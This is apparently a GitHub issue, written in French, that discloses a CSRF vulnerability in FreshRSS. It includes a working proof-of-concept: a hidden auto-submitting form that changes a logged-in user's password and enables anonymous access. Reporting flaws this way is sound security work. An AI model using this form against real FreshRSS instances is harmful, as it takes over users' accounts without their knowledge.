Skip to content

[Sécurité] Vulnérabilité de type CSRF pour changer le password #554

@PaulSec

Description

@PaulSec

Hello,

Il semblerait que FreshRSS soit vulnérable à une attaque de type CSRF (Cross Site Request Forgery).
En effet, il est possible de créer un formulaire du type:

<form action="hxxps://rss.monflux.fr/i/?c=users&a=auth" id="exploit">
<input type="hidden" name="passwordPlain" value="omgwtfbbq">
<input type="hidden" name="mail_login" value="">
<input type="hidden" name="auth_type" value="form">
<input type="hidden" name="anon_access" value="1">
<input type="hidden" name="token" value="">
</form>

Et de l'auto-soumettre à l'aide de JavaScript.

HTMLFormElement.prototype.submit.call($('#exploit')[0]);

L'attaque se base sur le fait que l'utilisateur est connectée sur FreshRSS & navigue sur le Net en même temps (ou visualise une news qui comprend du code malicieux).
Dès chargement de la page, le mot de passe de l'utilisateur courant est changé.

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

Milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions